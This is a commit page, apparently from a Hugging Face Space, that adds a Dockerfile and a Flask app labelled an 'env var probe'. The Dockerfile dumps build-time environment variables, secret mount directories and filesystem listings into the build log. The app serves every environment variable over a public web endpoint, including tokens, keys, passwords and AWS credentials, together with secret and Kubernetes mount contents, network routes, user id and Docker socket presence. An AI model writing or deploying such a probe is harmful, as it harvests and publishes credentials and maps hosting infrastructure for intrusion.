testtest123 commited on
Commit
da61b2a
·
1 Parent(s): e1ff77c

Initial: env var probe

Browse files
Files changed (2) hide show
  1. Dockerfile +29 -0
  2. app.py +69 -0
Dockerfile ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ FROM python:3.9-slim
2
+
3
+ # Print env during build to see what's available at build time
4
+ RUN echo "=== BUILD TIME ENV VARS ===" && env | sort && echo "=== END BUILD ENV ==="
5
+
6
+ # Try to read Docker build args
7
+ RUN echo "=== DOCKER INFO ===" && cat /proc/self/cgroup 2>/dev/null || true && echo "=== END DOCKER INFO ==="
8
+
9
+ # Try to read any mounted secrets
10
+ RUN echo "=== CHECKING SECRETS ===" && \
11
+ ls -la /run/secrets/ 2>/dev/null || echo "No /run/secrets" && \
12
+ ls -la /var/run/secrets/ 2>/dev/null || echo "No /var/run/secrets" && \
13
+ echo "=== END SECRETS CHECK ==="
14
+
15
+ # Try to read metadata/cloud info during build
16
+ RUN echo "=== CHECKING FILESYSTEM ===" && \
17
+ ls -la / 2>/dev/null && \
18
+ ls -la /workspace 2>/dev/null || echo "No /workspace" && \
19
+ ls -la /data 2>/dev/null || echo "No /data" && \
20
+ echo "=== END FILESYSTEM ==="
21
+
22
+ # Install deps
23
+ RUN pip install flask
24
+
25
+ COPY app.py /app.py
26
+
27
+ EXPOSE 7860
28
+
29
+ CMD ["python", "/app.py"]
app.py ADDED
@@ -0,0 +1,69 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import subprocess
3
+ import json
4
+ from flask import Flask, Response
5
+
6
+ app = Flask(__name__)
7
+
8
+ @app.route("/")
9
+ def index():
10
+ results = {}
11
+
12
+ # 1. All environment variables
13
+ results["env_vars"] = dict(os.environ)
14
+
15
+ # 2. Check for HF-specific tokens
16
+ hf_keys = {k: v for k, v in os.environ.items() if 'HF' in k or 'HUGGING' in k or 'TOKEN' in k or 'KEY' in k or 'SECRET' in k or 'AWS' in k or 'PASS' in k}
17
+ results["sensitive_vars"] = hf_keys
18
+
19
+ # 3. Check mounted files
20
+ mount_paths = [
21
+ "/run/secrets",
22
+ "/var/run/secrets",
23
+ "/var/run/secrets/kubernetes.io",
24
+ "/data",
25
+ "/workspace",
26
+ "/proc/self/cgroup",
27
+ "/proc/self/mountinfo",
28
+ "/etc/resolv.conf",
29
+ "/etc/hosts",
30
+ ]
31
+ results["filesystem"] = {}
32
+ for p in mount_paths:
33
+ try:
34
+ if os.path.isdir(p):
35
+ results["filesystem"][p] = os.listdir(p)
36
+ elif os.path.isfile(p):
37
+ with open(p, 'r') as f:
38
+ results["filesystem"][p] = f.read()[:2000]
39
+ except Exception as e:
40
+ results["filesystem"][p] = str(e)
41
+
42
+ # 4. Network info
43
+ try:
44
+ results["hostname"] = subprocess.check_output(["hostname", "-I"], timeout=5).decode().strip()
45
+ except:
46
+ results["hostname"] = "unknown"
47
+
48
+ # 5. Process info
49
+ try:
50
+ results["id"] = subprocess.check_output(["id"], timeout=5).decode().strip()
51
+ except:
52
+ results["id"] = "unknown"
53
+
54
+ # 6. Check if we can reach other spaces
55
+ try:
56
+ results["ip_route"] = subprocess.check_output(["ip", "route"], timeout=5).decode().strip()
57
+ except:
58
+ results["ip_route"] = "not available"
59
+
60
+ # 7. Try to read docker socket
61
+ docker_paths = ["/var/run/docker.sock", "/.dockerenv"]
62
+ results["docker"] = {}
63
+ for p in docker_paths:
64
+ results["docker"][p] = os.path.exists(p)
65
+
66
+ return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
67
+
68
+ if __name__ == "__main__":
69
+ app.run(host="0.0.0.0", port=7860)